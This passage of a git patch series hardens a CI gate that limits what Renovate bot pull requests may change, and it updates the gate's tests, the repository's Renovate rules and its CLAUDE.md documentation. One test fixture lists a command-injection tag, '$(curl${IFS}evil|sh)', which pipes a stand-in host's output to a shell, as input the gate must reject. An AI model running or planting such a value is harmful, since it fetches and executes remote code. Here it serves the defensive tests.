{".gitea/workflows/lint.yml", ".gitea/workflows/build.yml", ".gitea/workflows/molecule.yml"} @@ -127,21 +136,48 @@ def parse_raw(blob): return entries -def parse_patch(text): - """(removed lines, added lines) of a -U0 patch, without the +/- marker.""" +HUNK = re.compile(r"^@@ -(\d+)(?:,\d+)? \+(\d+)(?:,\d+)? @@") +BINARY = re.compile(r"^(?:Binary files .* differ|GIT binary patch)$", re.MULTILINE) + + +def parse_numbered(text): + """([(old line number, line)], [(new line number, line)]) of a -U0 patch, without the +/- marker.""" removed, added, in_hunk = [], [], False + old_n = new_n = 0 for line in text.split("\n"): - if line.startswith("@@"): + hunk = HUNK.match(line) + if hunk: in_hunk = True + old_n, new_n = int(hunk[1]), int(hunk[2]) elif not in_hunk or line.startswith("\\"): continue elif line.startswith("-"): - removed.append(line[1:]) + removed.append((old_n, line[1:])) + old_n += 1 elif line.startswith("+"): - added.append(line[1:]) + added.append((new_n, line[1:])) + new_n += 1 return removed, added +def parse_patch(text): + """(removed lines, added lines) of a -U0 patch, without the +/- marker.""" + removed, added = parse_numbered(text) + return [line for _, line in removed], [line for _, line in added] + + +def version_problem(removed, added): + """A reason when the matrix `version:` lines were moved, lowered or swapped, else None. + Both lists are (line number, line); the changed lines must sit at the same line numbers.""" + if [n for n, _ in removed] != [n for n, _ in added]: + return "moves or deletes a line (the changed lines must stay where they are)" + for (_, old), (_, new) in zip(removed, added): + old_m, new_m = VERSION_LINE.match(old), VERSION_LINE.match(new) + if old_m and new_m and civ.parse_version(new_m["v"]) <= civ.parse_version(old_m["v"]): + return f"does not raise a version ({old_m['v']} -> {new_m['v']})" + return None + + def check(entries, patch_of): """One message per offending file; patch_of(path) returns that file's -U0 patch text.""" problems = [] @@ -149,7 +185,18 @@ def check(entries, patch_of): if status != "M" or old_mode != new_mode or new_mode != "100644": problems.append(f"{path}: a bot pull request may not add, delete, rename or change the mode of a file") continue - reason = file_problem(path, *parse_patch(patch_of(path))) + patch = patch_of(path) + if BINARY.search(patch): + problems.append(f"{path}: git treats the change as binary, which cannot be checked line by line") + continue + removed, added = parse_numbered(patch) + if not removed or not added: + problems.append(f"{path}: a pin change removes and adds at least one line; this diff has " + f"{len(removed)} removed and {len(added)} added (binary or empty change?)") + continue + reason = file_problem(path, [line for _, line in removed], [line for _, line in added]) + if not reason and path == civ.MATRIX_FILE: + reason = version_problem(removed, added) if reason: problems.append(f"{path}: {reason}") return problems @@ -160,6 +207,9 @@ def run(argv): sys.stderr.write(__doc__) return None head_ref, base_ref = argv[1], argv[2] + if not head_ref and os.environ.get("EVENT_NAME") == "pull_request": + raise civ.CheckError("the head ref of a pull request is empty: cannot tell whether it is a bot " + "pull request, so failing closed") if not head_ref.startswith(PREFIX): return [], "not a renovate/ branch, skipped" if not civ.REF_RE.fullmatch(base_ref): @@ -169,7 +219,8 @@ def run(argv): "--end-of-options", base, "HEAD", raw=True) def patch_of(path): - return civ.git("-c", "core.quotePath=false", "diff", "-U0", "--no-renames", "--no-color", + return civ.git("--literal-pathspecs", "-c", "core.quotePath=false", "diff", "-U0", "--no-renames", + "--no-color", "--text", "--no-ext-diff", "--no-textconv", "--end-of-options", base, "HEAD", "--", path) entries = parse_raw(raw) diff --git a/tests/scripts/test_check_bot_pr_diff.py b/tests/scripts/test_check_bot_pr_diff.py index 0647776..7e4b27f 100644 --- a/tests/scripts/test_check_bot_pr_diff.py +++ b/tests/scripts/test_check_bot_pr_diff.py @@ -7,6 +7,7 @@ import subprocess import sys import tempfile import unittest +from unittest import mock SCRIPTS = pathlib.Path(__file__).resolve().parents[2] / "scripts" sys.path.insert(0, str(SCRIPTS)) @@ -73,6 +74,39 @@ class RuleTest(unittest.TestCase): for path, old, new in cases: self.assertIsNotNone(self.problem(path, old, new), (path, old, new)) + def test_tag_charset_is_restricted(self): + bad_tags = ["$(curl${IFS}evil|sh)", "a'b", 'a"b', "a;b", "a`b`", "a$b", "a b"] + for tag in bad_tags: + cases = [ + (".gitea/workflows/lint.yml", f" image: git.rkdr.net/mortis/ci:0.2.0@{D1}", + f" image: git.rkdr.net/mortis/ci:{tag}@{D1}"), + ("images/ci/Dockerfile", f"FROM ubuntu:24.04@{D1} AS os", f"FROM ubuntu:{tag}@{D1} AS os"), + (".gitea/workflows/image.yml", f" image: ubuntu:24.04@{D1}", f" image: ubuntu:{tag}@{D1}"), + ] + for path, old, new in cases: + self.assertIsNotNone(self.problem(path, old, new), (path, tag)) + + def test_digest_may_not_be_dropped(self): + cases = [ + ("images/ci/Dockerfile", f"FROM ubuntu:24.04@{D1} AS os", "FROM ubuntu:latest AS os"), + ("images/ci/Dockerfile", f"FROM ubuntu:24.04@{D1} AS os", "FROM ubuntu AS os"), + ("images/ci/Dockerfile", "FROM ubuntu:24.04 AS os", f"FROM ubuntu:24.04@{D1} AS os"), + (".gitea/workflows/image.yml", f" image: ubuntu:24.04@{D1}", " image: ubuntu:latest"), + (".gitea/workflows/image.yml", " image: ubuntu:24.04", f" image: ubuntu:24.04@{D1}"), + ] + for path, old, new in cases: + self.assertIsNotNone(self.problem(path, old, new), (path, old, new)) + + def test_version_lines_stay_in_place_and_rise(self): + v = " version: {}" + self.assertIsNone(cbd.version_problem([(5, v.format("0.2.0"))], [(5, v.format("0.2.1"))])) + self.assertIsNotNone(cbd.version_problem([(5, v.format("0.2.0"))], [(9, v.format("0.2.1"))])) + self.assertIsNotNone(cbd.version_problem([(5, v.format("0.2.1"))], [(5, v.format("0.2.0"))])) + self.assertIsNotNone(cbd.version_problem([(5, v.format("0.2.0"))], [(5, v.format("0.2.0"))])) + swapped = cbd.version_problem([(5, v.format("0.1.0")), (9, v.format("0.2.0"))], + [(5, v.format("0.2.0")), (9, v.format("0.1.0"))]) + self.assertIsNotNone(swapped) + def test_unequal_line_counts_are_refused(self): self.assertIsNotNone(cbd.file_problem("requirements-dev.txt", [], ["evil==1.0"])) self.assertIsNotNone(cbd.file_problem(".pre-commit-config.yaml", [" rev: a"], [])) @@ -112,6 +146,83 @@ class RepoTest(unittest.TestCase): capture_output=True, text=True, check=False) return proc.returncode, proc.stdout, proc.stderr + def test_a_nul_containing_file_is_refused(self): + self.write("requirements-dev.txt", "# pins\nansible-core==2.19.14\nreuse==6.3.0\n\0") + self.commit("bot") + code, _, err = self.gate() + self.assertEqual(code, 1, err) + self.assertIn("requirements-dev.txt", err) + + def test_a_utf16_rewrite_is_refused(self): + text = (self.repo / "requirements-dev.txt").read_text().replace("6.2.0", "6.3.0") + (self.repo / "requirements-dev.txt").write_bytes(text.encode("utf-16")) + self.commit("bot") + code, _, err = self.gate() + self.assertEqual(code, 1, err) + self.assertEqual(len(err.strip().splitlines()), 1, err) + + def test_a_diff_attribute_does_not_hide_a_change(self): + self.write(".gitattributes", "requirements-dev.txt -diff\n") + self.edit("requirements-dev.txt", "reuse==6.2.0", "reuse==6.3.0") + self.commit("bot") + code, _, err = self.gate() + self.assertEqual(code, 1, err) + self.assertIn(".gitattributes", err) + + def test_binary_and_one_sided_patches_are_refused(self): + entries = [("100644", "100644", "M", "requirements-dev.txt")] + for patch in ("Binary files a/x and b/x differ\n", "", "@@ -1 +0,0 @@\n-reuse==6.2.0\n", + "@@ -0,0 +1 @@\n+reuse==6.3.0\n"): + self.assertEqual(len(cbd.check(entries, lambda path, text=patch: text)), 1, patch) + + def test_git_is_told_to_take_paths_literally(self): + seen = [] + real = cbd.civ.git + + def spy(*args, **kwargs): + seen.append(args) + return real(*args, **kwargs) + + self.edit("requirements-dev.txt", "reuse==6.2.0", "reuse==6.3.0") + self.commit("bot") + old_cwd = os.getcwd() + self.addCleanup(os.chdir, old_cwd) + os.chdir(self.repo) + with mock.patch.object(cbd.civ, "git", spy): + result = cbd.run(["check_bot_pr_diff.py", "renovate/x", "main"]) + self.assertEqual(result[0], []) + patches = [args for args in seen if "-U0" in args] + self.assertTrue(patches) + self.assertTrue(all(args[0] == "--literal-pathspecs" for args in patches), patches) + self.assertTrue(all("--text" in args and "--no-textconv" in args and "--no-ext-diff" in args + for args in patches), patches) + + def test_empty_head_ref_on_a_pull_request_fails_closed(self): + self.write("roles/x/main.yml", "a\n") + self.commit("anything") + env = {**os.environ, "EVENT_NAME": "pull_request"} + proc = subprocess.run([sys.executable, str(SCRIPTS / "check_bot_pr_diff.py"), "", "main"], cwd=self.repo, + capture_output=True, text=True, check=False, env=env) + self.assertEqual(proc.returncode, 1, proc.stderr) + self.assertIn("empty", proc.stderr) + self.assertEqual(len(proc.stderr.strip().splitlines()), 1, proc.stderr) + env["EVENT_NAME"] = "push" + proc = subprocess.run([sys.executable, str(SCRIPTS / "check_bot_pr_diff.py"), "", "main"], cwd=self.repo, + capture_output=True, text=True, check=False, env=env) + self.assertEqual(proc.returncode, 0, proc.stderr) + + def test_lowering_a_matrix_version_fails_and_raising_it_passes(self): + self.edit(".gitea/workflows/image.yml", "version: 0.2.0", "version: 0.1.9") + self.commit("lower") + code, _, err = self.gate() + self.assertEqual(code, 1, err) + self.assertIn("version", err) + run(self.repo, "git", "checkout", "-q", "main") + run(self.repo, "git", "checkout", "-q", "-b", "renovate/ok") + self.edit(".gitea/workflows/image.yml", "version: 0.2.0", "version: 0.2.1") + self.commit("raise") + self.assertEqual(self.gate(head="renovate/ok")[0], 0) + def test_a_realistic_bot_pr_passes(self): self.edit("requirements-dev.txt", "reuse==6.2.0", "reuse==6.3.0") self.edit(".pre-commit-config.yaml", "v1.0.0", "v1.1.0") From b7b14b72779bc3bf47ef151fa3e1d22421ecf137 Mon Sep 17 00:00:00 2001 From: Defame1297 Date: Mon, 26 Oct 2026 06:41:51 +0000 Subject: [PATCH 8/9] docs(renovate): correct the kaniko and image-input claims Remove the image-input packageRule that set no option. Add a dockerfile rule that states, and pins, that base-image tag and digest bumps may automerge (Kamino is the untrusted side, the pin PR's CI exercises the image); the ubuntu job container stays at automerge false. Say kaniko is pinned by layer digests that no manager reads and is updated by hand. List what is not enabled or verified (GITHUB_COM_TOKEN for the pre-commit manager, main's required checks, github.head_ref) and that a hand edit on a renovate/ branch stops Renovate's rebases. renovate-config-validator --strict (renovate 44.161.0) passes. Co-Authored-By: Claude Sonnet 5.5 Claude-Session: https://claude.ai/code/session_01MmzvM9skAvYcph2c9EiPcm --- CLAUDE.md | 20 +++++++++++++++++--- renovate.json | 20 +++++++++----------- 2 files changed, 26 insertions(+), 14 deletions(-) diff --git a/CLAUDE.md b/CLAUDE.md index c60ae21..ec2521e 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -66,8 +66,11 @@ list. Nothing below runs yet unless it says so. - **Policy:** minor and patch bumps automerge, majors are manual. `ansible-core` minor and major are manual too (a new minor needs a `tests/sanity/ignore-2.NN.txt`), and `ansible-core` and - `ansible-lint` bump in one group. The `ubuntu` job container of `image.yml` and anything - naming kaniko never automerge: that job holds the registry push credential. + `ansible-lint` bump in one group. Dockerfile base-image tag and digest bumps (`images/*/Dockerfile`) + stay automergeable: Kamino is the untrusted side and the pin PR's CI exercises the new image. The + `ubuntu` job container of `image.yml` never automerges: that job holds the registry push credential. + kaniko is pinned by layer digests in `image.yml`; no Renovate manager reads them, so it is updated by + hand (the `/kaniko/` rule in `renovate.json` is only a safety net). - **Two-PR loop for an image input** (`requirements-dev.txt`, `.pre-commit-config.yaml`, `images/**`): PR 1 carries the input change plus the PATCH bump of the image `version:` in `image.yml` (`scripts/bump_image_versions.py []`, idempotent, edits only the @@ -82,6 +85,8 @@ list. Nothing below runs yet unless it says so. lines in `.pre-commit-config.yaml`, FROM tags/digests and the `uv==` pin in `images/*/Dockerfile`, the matrix `version:` lines and the ubuntu job container pin in `image.yml`, and the image pins in `lint.yml`, `build.yml` and `molecule.yml`. Anything else fails, `renovate.json` included. + Tags are `[A-Za-z0-9._-]` only, FROM and ubuntu lines must keep their digest, matrix versions must stay in + place and rise, and a binary or one-sided change fails. The branch name is attacker-controlled, so this only constrains the bot's own pull requests; its purpose is that automerging them cannot alter workflow logic or reach the org secrets. - **No Collection release from tooling bumps:** everything involved is in `galaxy.yml` @@ -91,7 +96,16 @@ list. Nothing below runs yet unless it says so. `.gitea/workflows` mentions `git.rkdr.net/defame1297/`. - **Not enabled yet:** the Renovate run itself, `postUpgradeTasks`, credentials for the `git.rkdr.net` registry (`hostRules`), pin-follow, and a validated `renovate.json` on the - instance's Renovate version. The `pre-commit` manager is beta; the hooks come from github.com. + instance's Renovate version. The `pre-commit` manager is beta; the hooks come from github.com, so it + needs `GITHUB_COM_TOKEN` on the Renovate instance. Unverified: that bot PRs are held by `main`'s + required status checks (check the branch protection before enabling automerge), and that + `github.head_ref` is populated on this Gitea (the gate fails closed on an empty one, via + `EVENT_NAME`). +- **Hand edits on a bot branch:** a commit pushed by hand to a `renovate/` branch makes Renovate treat + the branch as modified: it stops rebasing it, so merge that pull request by hand. +- **The guard runs from `main`:** the lint step extracts `scripts/` from `origin/main` and runs the + guard from there, so a pull request cannot weaken its own gate (the PR copy runs only while `main` + has no guard). A change to the guard takes effect for other PRs after it merges. - A pin-only pull request (only `lint.yml`, `build.yml`, `molecule.yml`) does not match any `image.yml` push path (`images/**`, `requirements-dev.txt`, `.pre-commit-config.yaml`, `.gitea/workflows/image.yml`), so it rebuilds nothing. diff --git a/renovate.json b/renovate.json index b55744e..9e08c2a 100644 --- a/renovate.json +++ b/renovate.json @@ -69,6 +69,13 @@ } ], "packageRules": [ + { + "description": "Dockerfile base-image tag and digest bumps (images/*/Dockerfile) MAY automerge. Kamino is the untrusted side and the bump pull request's own CI exercises the new image before the merge. Placed first so the major-version rule below still turns automerge off. The image version bump in image.yml (scripts/bump_image_versions.py via postUpgradeTasks) is not enabled yet; until then the pull request fails the version check and a human adds it.", + "matchManagers": [ + "dockerfile" + ], + "automerge": true + }, { "description": "Majors are reviewed by hand.", "matchUpdateTypes": [ @@ -105,16 +112,7 @@ "automerge": false }, { - "description": "The image-input classes (requirements-dev.txt, .pre-commit-config.yaml, images/**): a bump of one is an input change of the ci or molecule image. The version bump in image.yml comes from scripts/bump_image_versions.py via postUpgradeTasks (enabled in Phase 2/3, not yet: until then the pull request fails the version check and a human adds the bump). The pin follow-up pull request comes from the docker datasource after the build on main (Phase 4).", - "matchManagers": [ - "pip_requirements", - "pre-commit", - "dockerfile", - "custom.regex" - ] - }, - { - "description": "The job container of image.yml (ubuntu by digest) runs the kaniko push with the org registry credential: never automerged, and kept in its own branch so the Dockerfile base-image bumps are not held back with it.", + "description": "The job container of image.yml (ubuntu by digest) holds the org registry push credential while the image job runs: never automerged, and kept in its own branch so the Dockerfile base-image bumps are not held back with it.", "matchFileNames": [ ".gitea/workflows/image.yml" ], @@ -122,7 +120,7 @@ "additionalBranchPrefix": "job-container-" }, { - "description": "Anything that names the kaniko tooling: the image job that runs it holds the registry push credential, so it is reviewed.", + "description": "Safety net only: kaniko is pinned by layer digests in image.yml and no Renovate manager reads them, so it is updated by hand. If a manager ever starts to read it, its bumps are not automerged.", "matchPackageNames": [ "/kaniko/" ], From d6837217c0e405165875c173246bd43d5d2c94e5 Mon Sep 17 00:00:00 2001 From: Defame1297 Date: Mon, 26 Oct 2026 06:54:55 +0000 Subject: [PATCH 9/9] fix(scripts): name the unused tuple members instead of using _ ansible-test sanity's pylint disallows _ as a name (18 findings in the bot-diff gate, the bump script and their tests, build run 2423). Co-Authored-By: Claude Sonnet 5.5 Claude-Session: https://claude.ai/code/session_01MmzvM9skAvYcph2c9EiPcm --- scripts/check_bot_pr_diff.py | 8 ++++---- tests/scripts/test_bump_image_versions.py | 6 +++--- tests/scripts/test_check_bot_pr_diff.py | 14 +++++++------- 3 files changed, 14 insertions(+), 14 deletions(-) diff --git a/scripts/check_bot_pr_diff.py b/scripts/check_bot_pr_diff.py index 9ab859d..d155025 100644 --- a/scripts/check_bot_pr_diff.py +++ b/scripts/check_bot_pr_diff.py @@ -163,15 +163,15 @@ def parse_numbered(text): def parse_patch(text): """(removed lines, added lines) of a -U0 patch, without the +/- marker.""" removed, added = parse_numbered(text) - return [line for _, line in removed], [line for _, line in added] + return [line for unused, line in removed], [line for unused, line in added] def version_problem(removed, added): """A reason when the matrix `version:` lines were moved, lowered or swapped, else None. Both lists are (line number, line); the changed lines must sit at the same line numbers.""" - if [n for n, _ in removed] != [n for n, _ in added]: + if [n for n, unused in removed] != [n for n, unused in added]: return "moves or deletes a line (the changed lines must stay where they are)" - for (_, old), (_, new) in zip(removed, added): + for (unused, old), (unused, new) in zip(removed, added): old_m, new_m = VERSION_LINE.match(old), VERSION_LINE.match(new) if old_m and new_m and civ.parse_version(new_m["v"]) <= civ.parse_version(old_m["v"]): return f"does not raise a version ({old_m['v']} -> {new_m['v']})" @@ -194,7 +194,7 @@ def check(entries, patch_of): problems.append(f"{path}: a pin change removes and adds at least one line; this diff has " f"{len(removed)} removed and {len(added)} added (binary or empty change?)") continue - reason = file_problem(path, [line for _, line in removed], [line for _, line in added]) + reason = file_problem(path, [line for unused, line in removed], [line for unused, line in added]) if not reason and path == civ.MATRIX_FILE: reason = version_problem(removed, added) if reason: diff --git a/tests/scripts/test_bump_image_versions.py b/tests/scripts/test_bump_image_versions.py index 7c0ea49..12dfa42 100644 --- a/tests/scripts/test_bump_image_versions.py +++ b/tests/scripts/test_bump_image_versions.py @@ -129,7 +129,7 @@ class RepoTest(unittest.TestCase): return (self.repo / ".gitea/workflows/image.yml").read_text() def test_nothing_changed(self): - code, out, _ = self.bump() + code, out, unused = self.bump() self.assertEqual((code, out), (0, "image versions: nothing to bump\n")) self.assertEqual(self.versions(), IMAGE_YML.format(mol="0.1.0", ci="0.2.0")) @@ -173,7 +173,7 @@ class RepoTest(unittest.TestCase): def test_bad_base_ref_is_a_clean_failure(self): for ref in ("--output=x", "nope"): - code, _, err = self.bump(ref) + code, unused, err = self.bump(ref) self.assertEqual(code, 1) self.assertNotIn("Traceback", err) self.assertEqual(len(err.strip().splitlines()), 1, err) @@ -191,7 +191,7 @@ class RepoTest(unittest.TestCase): self.write(".gitea/workflows/image.yml", flow) self.commit("flow") self.write("requirements-dev.txt", "a==2\n") - code, _, err = self.bump() + code, unused, err = self.bump() self.assertEqual(code, 1) self.assertEqual(len(err.strip().splitlines()), 1, err) self.assertEqual(self.versions(), flow) diff --git a/tests/scripts/test_check_bot_pr_diff.py b/tests/scripts/test_check_bot_pr_diff.py index 7e4b27f..c69d38c 100644 --- a/tests/scripts/test_check_bot_pr_diff.py +++ b/tests/scripts/test_check_bot_pr_diff.py @@ -149,7 +149,7 @@ class RepoTest(unittest.TestCase): def test_a_nul_containing_file_is_refused(self): self.write("requirements-dev.txt", "# pins\nansible-core==2.19.14\nreuse==6.3.0\n\0") self.commit("bot") - code, _, err = self.gate() + code, unused, err = self.gate() self.assertEqual(code, 1, err) self.assertIn("requirements-dev.txt", err) @@ -157,7 +157,7 @@ class RepoTest(unittest.TestCase): text = (self.repo / "requirements-dev.txt").read_text().replace("6.2.0", "6.3.0") (self.repo / "requirements-dev.txt").write_bytes(text.encode("utf-16")) self.commit("bot") - code, _, err = self.gate() + code, unused, err = self.gate() self.assertEqual(code, 1, err) self.assertEqual(len(err.strip().splitlines()), 1, err) @@ -165,7 +165,7 @@ class RepoTest(unittest.TestCase): self.write(".gitattributes", "requirements-dev.txt -diff\n") self.edit("requirements-dev.txt", "reuse==6.2.0", "reuse==6.3.0") self.commit("bot") - code, _, err = self.gate() + code, unused, err = self.gate() self.assertEqual(code, 1, err) self.assertIn(".gitattributes", err) @@ -214,7 +214,7 @@ class RepoTest(unittest.TestCase): def test_lowering_a_matrix_version_fails_and_raising_it_passes(self): self.edit(".gitea/workflows/image.yml", "version: 0.2.0", "version: 0.1.9") self.commit("lower") - code, _, err = self.gate() + code, unused, err = self.gate() self.assertEqual(code, 1, err) self.assertIn("version", err) run(self.repo, "git", "checkout", "-q", "main") @@ -239,7 +239,7 @@ class RepoTest(unittest.TestCase): self.write("roles/x/main.yml", "a\n") self.edit("renovate.json", "{}", '{"a":1}') self.commit("bot") - code, _, err = self.gate() + code, unused, err = self.gate() self.assertEqual(code, 1) lines = err.strip().splitlines() self.assertEqual(len(lines), 3, err) @@ -258,12 +258,12 @@ class RepoTest(unittest.TestCase): def test_other_branches_are_skipped(self): self.write("roles/x/main.yml", "a\n") self.commit("human") - code, out, _ = self.gate(head="feat/x") + code, out, unused = self.gate(head="feat/x") self.assertEqual(code, 0) self.assertIn("skipped", out) def test_bad_input(self): - code, _, err = self.gate(base="--output=x") + code, unused, err = self.gate(base="--output=x") self.assertEqual(code, 1) self.assertNotIn("Traceback", err) self.assertEqual(subprocess.run([sys.executable, str(SCRIPTS / "check_bot_pr_diff.py")], cwd=self.repo,